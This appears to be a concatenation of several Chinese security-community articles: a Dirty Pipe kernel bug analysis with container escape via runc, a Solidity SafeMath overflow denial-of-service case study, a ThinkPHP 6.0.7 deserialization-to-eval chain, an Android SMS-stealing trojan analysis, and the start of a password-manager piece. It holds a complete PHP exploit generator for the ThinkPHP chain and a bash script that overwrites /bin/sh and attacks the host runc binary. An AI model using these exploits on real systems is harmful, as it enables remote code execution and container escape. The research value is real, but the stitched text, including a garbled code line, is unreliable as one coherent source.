if (unlikely(ret < chars)) {
ret = -EFAULT;
goto out;
}
buf->len += ret;
if (!iov_iter_count(from))
goto out;
}
}
for (;;) {
// 这里是最后一页无法接着写的情况
if (!pipe->readers) {
// 如果pipe的读者数量为0，则发送信号，直到有读者。
send_sig(SIGPIPE, current, 0);
if (!ret)
ret = -EPIPE;
break;
}
head = pipe->head;
if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[head & mask];
struct page *page = pipe->tmp_page;
int copied;
if (!page) {
// 如果缓存页为空，则新分配的page
page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
if (unlikely(!page)) {
ret = ret ? : -ENOMEM;
break;
}
pipe->tmp_page = page;
}
spin_lock_irq(&pipe->rd_wait.lock);
head = pipe->head;
if (pipe_full(head, pipe->tail, pipe->max_usage)) {
spin_unlock_irq(&pipe->rd_wait.lock);
continue;
}
pipe->head = head + 1;
spin_unlock_irq(&pipe->rd_wait.lock);
buf = &pipe->bu fs[head & mask];
buf->page = page;
// 把新申请的页放入页数组中
buf->ops = &anon_pipe_buf_ops;
buf->offset = 0;
buf->len = 0;
if (is_packetized(filp))
buf->flags = PIPE_BUF_FLAG_PACKET;
else
buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
// 设置flag, 默认为PIPE_BUF_FLAG_CAN_MERGE， 即可融合的页
// #define PIPE_BUF_FLAG_CAN_MERGE 0x10
pipe->tmp_page = NULL;
copied = copy_page_from_iter(page, 0, PAGE_SIZE, from);
if (unlikely(copied < PAGE_SIZE && iov_iter_count(from))) {
if (!ret)
ret = -EFAULT;
break;
}
ret += copied;
buf->offset = 0;
buf->len = copied;
if (!iov_iter_count(from))
break;
}
...
__pipe_unlock(pipe);
if (was_empty) {
wake_up_interruptible_sync_poll(&pipe->rd_wait, EPOLLIN | EPOLLRDNORM);
kill_fasync(&pipe->fasync_readers, SIGIO, POLL_IN);
}
wait_event_interruptible_exclusive(pipe->wr_wait, pipe_writable(pipe));
__pipe_lock(pipe);
was_empty = pipe_empty(pipe->head, pipe->tail);
wake_next_writer = true;
}
out:
if (pipe_full(pipe->head, pipe->tail, pipe->max_usage))
wake_next_writer = false;
__pipe_unlock(pipe);
if (was_empty) {
wake_up_interruptible_sync_poll(&pipe->rd_wait, EPOLLIN | EPOLLRDNORM);
kill_fasync(&pipe->fasync_readers, SIGIO, POLL_IN);
}
if (wake_next_writer)
wake_up_interruptible_sync_poll(&pipe->wr_wait, EPOLLOUT | EPOLLWRNORM);
if (ret > 0 && sb_start_write_trylock(file_inode(filp)->i_sb)) {
int err = file_update_time(filp);
if (err)
ret = err;
sb_end_write(file_inode(filp)->i_sb);
}
return ret;
}
在EXP中的`prepare_pipe()`函数中，首先将管道填满，并且每次写入的数据大小为`4k`
static char buffer[4096];
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
导致`chars = total_len & (PAGE_SIZE-1);`每次都为零, 所以不会进入第一个if中
if (chars && !was_empty) {
由于不断的写，导致需要申请新的页, 并且新的页的flag为`PIPE_BUF_FLAG_CAN_MERGE`, 并直接被放入了页数组中
if (!page) {
// 如果缓存页为空，则新分配的page
...
buf->page = page;
// 把新申请的页放入页数组中
...
buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
// 设置flag, 默认为PIPE_BUF_FLAG_CAN_MERGE， 即可融合的页
// #define PIPE_BUF_FLAG_CAN_MERGE 0x10
重复15次，把所有的`pipe buffer`的f`lags`都置为0x10
##### 用splice将file page和pipe 关联起来
首先在`copy_page_to_iter_pipe`中停下，保存`page`的地址
继续到`pipe_write`停下, 由于这次不是`4k`的整数倍，于是`chars`不为0，进入到漏洞分支
打印出即将写入的`page`, 和我们保存的`page`一样，已经即将把数据写入
#### 漏洞效果
由于虚拟机只有最基本的环境，所以`su`, `id`这类命令都需要上文下载的静态编译的`busybox实现`
可以看到，低权限用户也可以对高权限文件改写
### 利用条件与限制
#### 利用条件
* 有可读权限或者可以传回文件的文件描述符
* 有漏洞的内核
#### 利用的限制
* 第一个字节不可修改，并且单次写入不能大于4k
* 只能单纯覆盖，不能调整文件大小
* 由于漏洞基于内存页，所以不会对磁盘有影响
### 与docker的关系
由于docker和宿主机是共享内核，尽管其他进程资源是隔离开的，内核洞也很可能会docker容器造成安全问题.
#### 对于容器的影响
由于docker本质上是由一组互相重叠的层组层的，容器引擎将其合并到一起，原本这些层都是只读的，但由于脏管道漏洞的影响，我们可以在`u1`容器修改`/etc/passwd`使得`u2`容器的`/etc/passwd`被修改
#### 利用CAP_DAC_READ_SEARCH实现容器逃逸
通过利用`CAP_DAC_READ_SEARCH`与脏管道可以实现覆盖主机文件,
该攻击手段可以在[github看到详细过程](https://github.com/greenhandatsjtu/CVE-2022-0847-Container-Escape)
实际上主要是`CAP_DAC_READ_SEARCH`可以调用`open_by_handle_at`,
可以获得主机文件的文件描述符，配合脏管道于是就可以修改主机文件
这种攻击方式非常简单，核心就是获得文件的文件描述符即可
#### 通过runc实现容器逃逸
一个容器开启时，可以分为以下三步
* fork创建子进程
* 初始化容器化环境
* 将执行流重定向到用户提供的入口点
对于第三步，以大名鼎鼎的`CVE-2019-5736`为例，当重定向入口点时，容器内的`/proc/self/exec`与主机的`runc`二进制文件相关联
因此可以通过在容器内写入该文件描述符实现容器逃逸
对于`CVE-2019-5736`的[修复](https://github.com/opencontainers/runc/commit/0a8e4117e7f715d5fbeef398405813ce8e88558b)
由于篇幅原因这里不跟进`CVE-2019-5736`的修复的具体代码，直接看`git commit`了解修复逻辑
可以看到修复逻辑是克隆`/proc/self/exec`避免容器内部直接获取`runC`
然而很快开发者修改了[修复逻辑](https://github.com/opencontainers/runc/commit/16612d74de5f84977e50a9c8ead7f0e9e13b8628)
可以看到开发者认为克隆导致的内存开销太大了，可能造成`OOM`或者其他问题，把修复逻辑改成了只读挂载
这里联想到上文总结的`脏管道`的利用条件和利用效果，发现刚好契合
这里的利用主要参考了[链接](https://securitylabs.datadoghq.com/articles/dirty-pipe-container-escape-poc/)
主机执行`docker exec -it u1 /bin/sh`后`/usr/sbin/runc`的哈希值变化了，且头部被注入标识
利用思路也很简单，修改`CVE-2022-0847`的exp，将需要注入的字节改为shellcode，这里我随便改的标识
然后在容器内找到主机的`runc`的pid即可，可以参考以下的`shell`脚本
#!/bin/bash
echo '#!/proc/self/exe' > /bin/sh
echo "Waiting for runC to be executed in the container"
while true ; do
runC_pid=""
while [ -z "$runC_pid" ] ; do
runC_pid=$(ps axf | grep /proc/self/exe | grep -v grep | awk '{print $1}')
done
/exp /proc/${runC_pid}/exe
done
### 总结
由于docker容器和主机是共享内核的，且目前的`runc`是通过挂为只读权限防止逃逸的，对于提权类内核洞来说，这两个限制很容易被绕过，所以尽管容器逃逸类漏洞很少见，但提权类的内核漏洞很可能导致容器逃逸。 | 社区文章 |
**作者：昏鸦
日期：2021年1月13日**
## 前言
溢出是一种常见的安全漏洞，智能合约中也不例外，在智能合约的编写中尤其需要注意防范溢出的产生，因为溢出造成的危害将是十分巨大的。在Solidity
0.8.0之前，算术运算总是会在发生溢出的情况下进行“截断”，从而得靠引入额外检查库来解决这个问题（如 OpenZepplin 的 SafeMath）。
## 什么是溢出
以太坊虚拟机（EVM）为整数指定了固定大小的数据类型，像大部分静态编译型语言一样，一个整型变量只能表示一定范围的数字。例如，uint8只能存储0-255范围内的数值，若超过该范围将产生溢出。
而溢出产生的危害是相当大的，可能造成一些数值校验的绕过，或者资产、奖励金额等分配错误等等问题。
## Solidity 0.8.0
当对无限制整数执行算术运算，其结果超出结果类型的范围，就会发生上溢出或下溢出。而从Solidity
0.8.0开始，所有的算术运算默认就会进行溢出检查，将不再必要额外引入库。
如果想要之前“截断”的效果，可以使用 `unchecked` 代码块：
// SPDX-License-Identifier: GPL-3.0
pragma solidity >0.7.99;
contract C {
function f(uint a, uint b) pure public returns (uint) {
// 溢出会返回“截断”的结果
unchecked { return a - b; }
}
function g(uint a, uint b) pure public returns (uint) {
// 溢出会抛出异常
return a - b;
}
}
调用 `f(2, 3)` 将返回 `2**256-1`, 而 `g(2, 3)` 会触发失败异常。
`unchecked` 代码块可以在代码块中的任何位置使用，但不可以替代整个函数代码块，同样不可以嵌套。
此设置仅影响语法上位于`unchecked`块内的语句，在块中调用的函数不会此影响。
> 为避免歧义，不能在 `unchecked` 块中使用 ‘ _;’ 。
下面的这些运算操作符会进行溢出检查，如果上溢出或下溢会触发失败异常。 如果在非检查模式代码块中使用，将不会出现错误:
`++`, `--`, `+`, binary `-`, unary `-`, `*`, `/`, `%`, `** +=`, `-=`, `*=`,
`/=`, `%=`
**注意** ：除0（或除 0取模）的异常是不能被 `unchecked` 忽略的
## SafeMath护驾
SafeMath是solidity合约中最常见的一个库，是著名的OpenZeppelin智能合约安全开发库的其中之一，用于安全的算术运算的一个库。
SafeMath库的代码很少，如下：
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
实际上就是通过`require`语句在算术运算时做校验，若运算结果存在问题则会回滚并抛出错误信息。
在使用SafeMath安全算法的情况下，算术运算的正确性得到了保证，能很有效地防止数值溢出的发生。
## 不安全的"SafeMath"
使用了SafeMath安全算法就一定有安全保障吗？也不一定，具体情况还是得视具体业务场景而定。
最近遇到的一个案例就是，虽然使用了SafeMath安全算法，但由于算式本身存在巨大缺陷，导致最终在特定时间后合约因SafeMath而无法正常运作。
下面详细分析一下这个案例
#### 问题代码
uint256 DURATION = 1 days;
int128 dayNums = 0;
uint256 public base = 20*10e3;
uint256 public rateReward = 1;
uint256 public rateRewardbase = 100;
......
function update_initreward() private {
dayNums = dayNums + 1;
uint256 reward = base.mul(rateReward).mul(10**18).mul((rateRewardbase.sub(rateReward))**(uint256(dayNums-1))).div(rateRewardbase**(uint256(dayNums)));
_initReward = uint256(reward);
}
`reward`的计算公式整理如下：
其中
代入公式(1)化简可得：
#### 分析
可以看到公式中存在`99^(dayNums-1)`和`100^(dayNums)`，数值大小是呈指数级增长的，这是个非常恐怖的数量级。
当`dayNums`到40时，`99^(dayNums-1)`整体将大于`2^(256)`即uint256的大小，造成数值溢出。
`99^(dayNums-1)`还只是公式中的一个小因子，在分子中，前面同样还有`2*10^(23)`这样一个大因子。
计算分子整体的溢出情况，可以发现分子的算式在`dayNums`到28的时候就已经发生溢出了。
虽然公式中已经使用了SafeMath安全算法，但由于SafeMath安全算法中存在`require`的溢出校验语句，而导致整个调用失败而回滚，最终表现为拒绝服务。
该函数在合约启动后仅由修饰器`checkHalve`调用，而`checkHalve`修饰了很多函数，其中包括取款函数，于是最终会导致在合约运行第28天后，用户不能提取合约中质押的代币，合约大半个功能瘫痪，无法运作。
#### 修复思路
问题的本质是算式分子计算过程中产生的数值过大导致溢出，进而触发SafeMath的溢出校验而回滚，造成了拒绝服务的危害。
那么修复自然是围绕公式做思考，通过上面的分析可以清楚这么几点：
一是公式的计算目的是按天数逐渐累乘计算出奖励数额，这是一个规律性渐进的特点；
其二，进一步化简整理公式(2)，可得：
从公式(3)中可以看出，这个公式实际上就是在`2*10^(21)`的基础上逐天取99%，而`2*10^(21)`并未超过uint256的大小，所以公式的计算结果必定是逐渐变小的，并不会产生溢出。
从公式的计算角度来看，`reward`的计算结果是并不大的，而计算过程的中间值过大，产生了溢出。
从公式的算法逻辑来看，问题代码对于`reward`的计算是直接使用天数从0累乘到当前天数来获取结果，简单粗暴，计算数值庞大。
那么修复思路就很清晰了， **拆分累乘** 。
初始化定好第一次的`reward`数值，后面的每一次调用仅在上一次的`reward`的数值基础上乘以99%就行。
所以需要多定义一个变量用于每次存储上一次的`reward`的值。
修改后的新函数示例如下：
uint256 DURATION = 1 days;
int128 dayNums = 0;
uint256 public base = 20*10e3;
uint256 public rateReward = 1;
uint256 public rateRewardbase = 100;
//knownsec// lastReward用于存储上一次的thisrewrad的值
uint256 lastReward = base.mul(rateReward).mul(10**18).div(rateRewardbase);
......
//knownsec// 原函数,存在拒绝服务风险
function update_initreward_old() private {
dayNums = dayNums + 1;
uint256 reward = base.mul(rateReward).mul(10**18).mul((rateRewardbase.sub(rateReward))**(uint256(dayNums-1))).div(rateRewardbase**(uint256(dayNums)));
_initReward = uint256(reward);
}
//knownsec// 新函数
function update_initreward() private {
dayNums = dayNums +1;
if (dayNums == 1){
return lastReward;
} else {
uint256 reward = lastReward.mul(rateRewardbase.sub(rateReward)).div(rateRewardbase);
lastReward = reward;
return reward;
}
}
经测试，不再存在风险，并且数额匹配(存在少量精度丢失)。
## 总结
总而言之，为了防范数值溢出的发生，一定要使用SafeMath安全算法，在正确使用了SafeMath的情况下，能保证算术运算的正确性。另一方面，即使使用了SafeMath，也需确保算法的安全性和可行性，在计算数值由系统内部产生时，若这些数值不可控地增大，就可能触发SafeMath的溢出校验而回滚，最终导致拒绝服务。
* * * | 社区文章 |
# ThinkPHP v6.0.7 eval反序列化利用链
* * *
## 0x00 前言
最近分析了不少的 ThinkPHP v6.0.x 反序列化链条，发现还蛮有意思的，但美中不足的是无法拥有直接调用形如 `eval`
的能力。于是就自己就在最新的(目前是 ThinkPHP v6.0.7)版本上基于原有的反序列化链，再挖了一条能够执行 `eval` 的。
* * *
## 0X01 利用条件
* 存在一个完全可控的反序列化点。
## 0x02 环境配置
直接使用 `composer` 安装 `V6.0.7` 版本的即可。
-> composer create-project topthink/think=6.0.7 tp607
-> cd tp607
-> php think run
修改入口 **app/controller/Index.php** 内容，创造一个可控反序列化点：
## 0x03 链条分析
这里还是由 **ThinkPHP v6.0.x** 的入口进入。
在 `Model` 类 `(vendor/topthink/think-orm/src/Model.php)` 存在一个 `__destuct`
魔法方法。当然 `Model` 这玩意是个抽象类，得从它的 **继承类** 入手，也就是 `Pivot` 类 `(vendor/topthink/tink-orm/src/model/Pivot.php )` 。
abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable
{
/**
* ......
*/
public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}
}
class Pivot extends Model
{
/**
* ......
*/
}
我们先让 `$this->lazySave = true` ，从而跟进 `$this->save()` 方法。
// abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{}
public function save(array $data = [], string $sequence = null): bool
{
// 数据对象赋值
$this->setAttrs($data);
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
/**
* ......
*/
}
其中 `$this->setAttrs($data)` 这个语句无伤大雅，跟进去可以发现甚至可以说啥事也没做。
// abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{}
public function setAttrs(array $data): void
{
// 进行数据处理
foreach ($data as $key => $value) {
$this->setAttr($key, $value, $data);
}
}
那么我们这里还需要依次绕过 `if ($this->isEmpty() || false ===
$this->trigger('BeforeWrite'))` 中的两个条件。跟进 `$this->isEmpty()` 以及
`$this->trigger('BeforeWrite')` ，我们发现 `$this->data` 要求不为 `null` ，且
`$this->withEvent == true` 。
// abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{}
public function isEmpty(): bool
{
return empty($this->data);
}
// trait ModelEvent{}
protected function trigger(string $event): bool
{
if (!$this->withEvent) {
return true;
}
/**
* ......
*/
}
此时， `$this->isEmpty()` 返回 `false` ，`$this->trigger('BeforeWrite')` 返回 `true`
。我们顺利进入下一步 `$result = $this->exists ? $this->updateData() :
$this->insertData($sequence);` 。我们在上边可以发现 `$this->exists` 的默认值为 `false`
，不妨直接跟进 `$this->insertData($sequence)` ，其中 `sequence = null`。
// abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{}
protected $exists = false;
protected function insertData(string $sequence = null): bool
{
if (false === $this->trigger('BeforeInsert')) {
return false;
}
$this->checkData();
$data = $this->writeDataType($this->data);
// 时间戳自动写入
if ($this->autoWriteTimestamp) {
/**
* ......
*/
}
// 检查允许字段
$allowFields = $this->checkAllowFields();
/**
* ......
*/
}
显然，`$this->trigger('BeforeInsert')` 的值在上边已经被我们构造成了 `true` 了，这里继续跟进
`$this->checkData()` 以及 `$data = $this->writeDataType($this->data)`
。`$this->checkData()` 直接可以略过，而传入 `$this->writeDataType()` 的参数 `$this->data`
在上边已经被我们构造成一个 `非null` 的值，这里不妨将其构造成 `[7]` ，由于 `$this->type` 的值默认为 `[]`
，这里的遍历是没有影响的。
trait Attribute
{
protected $type = [];
}
// abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{}
protected function checkData(): void
{
}
protected function writeDataType(array $data): array
{
foreach ($data as $name => &$value) {
if (isset($this->type[$name])) {
// 类型转换
$value = $this->writeTransform($value, $this->type[$name]);
}
}
return $data;
}
至于 `$this->autoWriteTimestamp` 的默认值是没有的，相当于 `null` ，这里直接用 **弱类型比较** 直接略过。
trait TimeStamp
{
protected $autoWriteTimestamp;
}
此时，我们来到 `$allowFields = $this->checkAllowFields()` ，其中 `$this->field` 和
`$this->schema` 的默认值都为 `[]` ，因而可以直接来到 `else{`。
trait Attribute
{
protected $schema = [];
protected $field = [];
}
// abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{}
protected function checkAllowFields(): array
{
// 检测字段
if (empty($this->field)) {
if (!empty($this->schema)) {
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else {
$query = $this->db();
$table = $this->table ? $this->table . $this->suffix : $query->getTable();
$this->field = $query->getConnection()->getTableFields($table);
}
return $this->field;
}
/**
* ......
*/
}
那么，继续跟进 `$this->db` ，来到了 **关键点** ，第一句 `$query = ...` 可以直接跳过，而在
`$query->table($this->table . $this->suffix)` 这里存在熟悉的字符拼接。这样只需要让
`$this->table` 或 `$this->suffix` 为一个 **类** 就可以触发那个 **类** 的 `__toString` 魔法方法了。
// abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{}
public function db($scope = []): Query
{
/** @var Query $query */
$query = self::$db->connect($this->connection)->name($this->name . $this->suffix)->pk($this->pk);
if (!empty($this->table)) {
$query->table($this->table . $this->suffix);
}
/**
* ......
*/
}
简单总结一下，要触发 `__toString` 需要构造：
* `$this->lazySave` = `true`
* `$this->data` = `[7]`
* `$this->withEvent` = `true`
至于 `__toSring` 魔法方法的类，我们这里选择 `Url` 类
`(vendor/topthink/framework/src/think/route/Url.php)` ，首先第一个条件 `if (0 ===
strpos($url, '[') && $pos = strpos($url, ']'))` 需要绕过，第二个条件 `if (false ===
strpos($url, '://') && 0 !== strpos($url, '/'))` 需要满足最上部分，并使得 `$url` 的值为 `''`。
class Url
{
public function __toString()
{
return $this->build();
}
public function build()
{
// 解析URL
$url = $this->url;
$suffix = $this->suffix;
$domain = $this->domain;
$request = $this->app->request;
$vars = $this->vars;
if (0 === strpos($url, '[') && $pos = strpos($url, ']')) {
// [name] 表示使用路由命名标识生成URL
$name = substr($url, 1, $pos - 1);
$url = 'name' . substr($url, $pos + 1);
}
if (false === strpos($url, '://') && 0 !== strpos($url, '/')) {
$info = parse_url($url);
$url = !empty($info['path']) ? $info['path'] : '';
if (isset($info['fragment'])) {
// 解析锚点
$anchor = $info['fragment'];
if (false !== strpos($anchor, '?')) {
// 解析参数
[$anchor, $info['query']] = explode('?', $anchor, 2);
}
if (false !== strpos($anchor, '@')) {
// 解析域名
[$anchor, $domain] = explode('@', $anchor, 2);
}
} elseif (strpos($url, '@') && false === strpos($url, '\\')) {
// 解析域名
[$url, $domain] = explode('@', $url, 2);
}
}
if ($url) {
/**
* ......
*/
$rule = $this->route->getName($checkName, $checkDomain);
/**
* ......
*/
}
if (!empty($rule) && $match = $this->getRuleUrl($rule, $vars, $domain)) {
// 匹配路由命名标识
$url = $match[0];
if ($domain && !empty($match[1])) {
$domain = $match[1];
}
if (!is_null($match[2])) {
$suffix = $match[2];
}
} elseif (!empty($rule) && isset($name)) {
throw new \InvalidArgumentException('route name not exists:' . $name);
} else {
// 检测URL绑定
$bind = $this->route->getDomainBind($domain && is_string($domain) ? $domain : null);
/**
* ......
*/
}
/**
* ......
*/
}
}
我们先让让 `$this->url` 构造成 `a:` ，此时 `$url` 的值也就为 `''`，后边的各种条件也不会成立，可以直接跳过 。
然后再看 `if($url)` ，由于 **弱类型** 比较直接略过。
此时由于 `$rule` 是在 `if($url){` 条件内被赋值，那么 `if (!empty($rule) && $match =
$this->getRuleUrl($rule, $vars, $domain))` 以及 `elseif (!empty($rule) &&
isset($name))` 这两个也不会成立，直接略过。
此时，我们来到 `else{` 内，其中 `$bind = $this->route->getDomainBind($domain &&
is_string($domain) ? $domain : null)` 这个代码为点睛之笔。显然，`$this->route`
是可控的，`$domain` 变量的值实际上就是 `$this->domain` ，也是一个可控的字符型变量，我们现在就能得到了一个 **[可控类] - >
getDomainBind([可控字符串])** 的调用形式。
总结来说，满足该调用形式需要构造：
* `$this->url` = `'a:'`
* `$this->app` = `给个public的request属性的任意类`
然后全局搜索 `__call` 魔法方法，在 `Validate` 类
`(vendor/topthink/framework/src/think/Validate.php)` 中存在一个可以称为 **“简直为此量身定做”**
的形式。
// class Str{}
public static function studly(string $value): string
{
$key = $value;
if (isset(static::$studlyCache[$key])) {
return static::$studlyCache[$key];
}
$value = ucwords(str_replace(['-', '_'], ' ', $value));
return static::$studlyCache[$key] = str_replace(' ', '', $value);
}
public static function camel(string $value): string
{
if (isset(static::$camelCache[$value])) {
return static::$camelCache[$value];
}
return static::$camelCache[$value] = lcfirst(static::studly($value));
}
// class Validate{}
class Validate
{
public function is($value, string $rule, array $data = []): bool
{
switch (Str::camel($rule)) {
case 'require':
// 必须
$result = !empty($value) || '0' == $value;
break;
/**
* ......
*/
break;
case 'token':
$result = $this->token($value, '__token__', $data);
break;
default:
if (isset($this->type[$rule])) {
// 注册的验证规则
$result = call_user_func_array($this->type[$rule], [$value]);
} elseif (function_exists('ctype_' . $rule)) {
/**
* ......
*/
}
return $result;
}
public function __call($method, $args)
{
if ('is' == strtolower(substr($method, 0, 2))) {
$method = substr($method, 2);
}
array_push($args, lcfirst($method));
return call_user_func_array([$this, 'is'], $args);
}
}
这里先从 `__call` 看起，显然在调用 `call_user_func_array` 函数时，相当于
`$this->is([$domain,'getDomainBind'])` ，其中 `$domain` 是可控的。
跟进 `$this->is` 方法， `$rule` 变量的值即为 `getDomainBind`， `Str::camel($rule)`
的意思实际上是将 `$rule = 'getDomainBind'` 的 **-** 和 **_** 替换成 **''** ， 并将每个单词首字母大写存入
`static::$studlyCache['getDomainBind']` 中，然后回头先将首字母小写后赋值给 `camel` 方法的
`static::$cameCache['getDomainBind']` ，即返回值为 **getDomainBind** 。
由于 `switch{` 没有一个符合 **getDomainBind** 的 `case` 值，我们可以直接看 `default` 的内容。
`$this->type[$rule]` 相当于 `$this->type['getDomainBind']` ，是可控的，而 `$value`
值即是上边的 `$domain` 也是可控的，我们现在就能得到了一个 **call_user_func_array([可控变量],[[可控变量]])**
的形式了。
实际上现在也就可以进行传入 **单参数** 的函数调用，可这并不够！！！我们来到 `Php` 类
`(vendor/topthink/framework/src/think/view/driver/Php.php)` 中，这里存在一个调用 `eval`
的且可传 **单参数** 的方法 `display` 。
class Php implements TemplateHandlerInterface
{
public function display(string $content, array $data = []): void
{
$this->content = $content;
extract($data, EXTR_OVERWRITE);
eval('?>' . $this->content);
}
}
假若用上边的 **call_user_func_array([可控变量],[[可控变量]])** 形式，构造出
`call_user_func_array(['Php类','display'],['<?php (任意代码) ?>'])` 即可执行 `eval` 了。
总的来说，我们只需要构造如下：
* `$this->type` = `["getDomainBind" => [Php类,'display']]`
就可以了。
## 0x04 简单示图
* 构造并触发 `__toString` ：
* 构造 `[可控类] -> getDomainBind([可控字符串])` 进入 `__call`：
* 构造 `call_user_func_array([可控变量],[[可控变量]])` 执行 `eval`：
## 0x05 EXP
<?php
namespace think\model\concern{
trait Attribute{
private $data = [7];
}
}
namespace think\view\driver{
class Php{}
}
namespace think{
abstract class Model{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
protected $table;
function __construct($cmd){
$this->lazySave = true;
$this->withEvent = false;
$this->table = new route\Url(new Middleware,new Validate,$cmd);
}
}
class Middleware{
public $request = 2333;
}
class Validate{
protected $type;
function __construct(){
$this->type = [
"getDomainBind" => [new view\driver\Php,'display']
];
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{}
}
namespace think\route{
class Url
{
protected $url = 'a:';
protected $domain;
protected $app;
protected $route;
function __construct($app,$route,$cmd){
$this->domain = $cmd;
$this->app = $app;
$this->route = $route;
}
}
}
namespace{
echo base64_encode(serialize(new think\Model\Pivot('<?php phpinfo(); exit(); ?>')));
}
利用结果：
* * * | 社区文章 |
# 当骗子遇上谦虚的大牛，结果是？
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**BY:安络科技**
3月8日对女性来说是个美好的节日，公司（安络科技）完美的福利让女同胞们早早的就去享受这美好的假期了，然而，公司一位谦虚的大牛却在这一天“险遭不测”，收到了伪基站发送过来的短信。
谦虚的大牛不是吃素的，心血来潮，决定来个追本溯源，以下便是谦虚大牛的分析过程。
经过一番检测，发现网站其实就是个10086积分的假冒网站，老套路了，这里就不再赘述。不过捕获到一个新修改过的Android短信拦截木马。之前的拦截马基本都是没经过加密帐号密码的源码，很轻易的就发现了收信的邮箱、密码等。如下图：
很明显，旧版本的时候木马作者喜欢使用163的手机邮箱作为收发信箱使用。Web貌似还无法进行登录，只能客户端进行收发。
下面再看看新修改过的木马。
如上图，这个apk应该是3月7日放到网站上的，有可能不是很准，但根据网站的情况，基本上应该不会差太多。
从代码的结构来看，跟上一个apk拦截马的基本相差不会太大，可见是同一团伙，或来自同一上层人员。或许是之前的拦截马被发现的次数较多了，WooYun网站上也有很多案例，基本上都属于同一类的APK。但是看现在这个，明显将邮箱信息和手机号码给加密了。
根据加密后的字符串来看，我们大致可以看出可能是通过DES加密的（这类基本上都是对称加密方式，加密方式应该也是存在代码中的），只要找到该加密类和Key就基本可以解开加密字符串了。
但是混淆过的代码看上去就让人无语了，小菜我不懂java，一开始还一个个函数去看，发现DES加密解密类中有个“123456”，开始窃喜，以为找到Key了，后面一番尝试，这个Key根本就无法把加密的字符串还原，所以只好继续找其他方式去解这个东西了。
接着又重新回到这个包含邮箱帐号密码的关键类，看是否有其他突破口。此时看到这个类中的方法中，关键的键值对会通过android的SharedPreferences写配置文件。看来该木马会将收信手机、收发邮箱帐号、帐号密码等信息写入到配置文件中。
安装这个apk之后果然在/data/data/tanglang.yushiting.cloud(apk包名)/shared_prefs/configurations_data发现存在明文的手机号码、邮箱帐号密码等数据。
友情提示：千万不要轻易的将未知apk安装在root过的手机上，即便安装了也请谨慎给予权限，毕竟无法保证对未知的程序进行彻底的卸载。
发现这些要花太多时间，而且安装这种apk还不安全。同时我也是个强迫症患者，不解出这些字符串就睡不着，所以还是想着用什么方法可以直接解出明文来。
祭出神器JEB，该工具可以进行跟踪分析，我也是第一次使用这个工具，折腾了好久才会下面的方法……
查看smail语言，查找交叉引用，找出哪些Class调用了本DES类。发现只有一个类曾调用了这个DES类，这样基本确定了那个类中可能存在跟Key相关的信息了，且可能就在上下文中。
接着我们跳转到这个类，所谓没有对象就要new一个出来（o(∩_∩)o
），我们基本可以确定就是这里了，因为只有这里有个传参的字符串。接着我们就要通过这个可以来算密文解密后的明文了。
本人不懂Java，只好随便写了个解密类，效果如下图：
接下来需要获取邮箱服务器信息，不知是不是163的邮箱需要实名的缘故，发现该apk使用的是腾讯企业邮？邮箱服务器信息如下图：
最后便是验证，能利用上面的信息成功登录邮箱才叫成果。下图显示的这两条是我伪造的短信内容^_^。
为了以后方便，专门编译了一个jar，以后直接输入加密字符串就可以解密了。
最后还是那就话，尽量别下载未知的软件，就算下载了也别轻易的安装，即使安装了，也不要任意的给权限。
分析的比较粗糙，若有不对的地方或有更好的分析思路，烦请圈子里的大牛指正，谢谢！ | 社区文章 |
# 【技术分享】密码管理器的攻防
|
##### 译文声明
本文是翻译文章，文章来源：blog.acolyer.org
原文地址：<https://blog.acolyer.org/2017/02/06/password-managers-attacks-and-defenses/>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[Brexit](http://bobao.360.cn/member/contribute?uid=347422492)
预估稿费：200RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**前言**
